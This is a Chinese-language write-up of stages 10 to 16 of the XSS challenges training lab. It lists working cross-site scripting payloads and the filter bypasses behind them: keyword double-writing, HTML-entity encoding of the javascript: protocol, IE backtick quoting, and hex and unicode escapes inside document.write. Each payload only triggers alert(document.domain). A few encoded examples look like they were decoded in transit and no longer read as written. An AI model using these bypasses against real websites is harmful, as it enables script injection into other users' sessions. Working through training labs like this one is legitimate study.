Stage #10
输入1"/><script>alert(document.domain);</script>
结果:
发现过滤了domain,通过双写domain绕过
1"/><script>alert(document.domdomainain);</script>
Stage #11
将script替换成了xscript,将onclick替换成了onxxx
输入:"><a href=javasc%72ipt:alert(document.domain)>111</a>
发现不会弹窗,而是跳转链接:
查了下资料发现不能用url编码,要用HTML字符实体
"><a href=javascript:alert(document.domain)>111</a>
点击链接弹窗:
备注:
JavaScript是个伪协议,对协议进行URL编码后,url解析就不能正常解码,所以认为协议无效,无法弹框。
而使用HTML字符实体的话,html先解码,然后url再解码,这样虽然协议进行了编码,但是url解析器仍然能解析。至于url编码alert(2),不关协议,url解析器可以正常解析。 可以弹框。
自己在本地用了个简单的环境测试了一下
使用url编码:<a href=javasc%72ipt:alert(0)>test</a> (%72是r的url编码)
结果:
使用HTML实体:<a href=javascript:alert(0)>test1</a> (r是r的HTML实体编码)
结果:
Stage #12
过滤了<>和单引号双引号,查了下发现要利用IE会把``(左上角波浪的键)识别为双引号的特性
`` onclick=alert(document.domain);
点击弹框:
Stage #15
document.write,DOM型xss
输入`\x3cscript\x3ealert(document.domain);\x3c/script\x3e发现\被过滤掉了,查了下是因为是在js范畴,document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
转义了“<”“>”用十六进制编码绕过
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
点击弹框:
普通十六进制:\xH(JavaScript编码)
进制编码:H;(十六进制格式)(html实体编码)
Stage #16
Hint: “s/\\x/\\\\x/ig;”把“\\\x”替换成“\\x”
用unicode编码
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
有几道题因为浏览器版本原因没有做,所以到这基本xss challenges就算结束啦,感觉又重新学了一遍关于xss的知识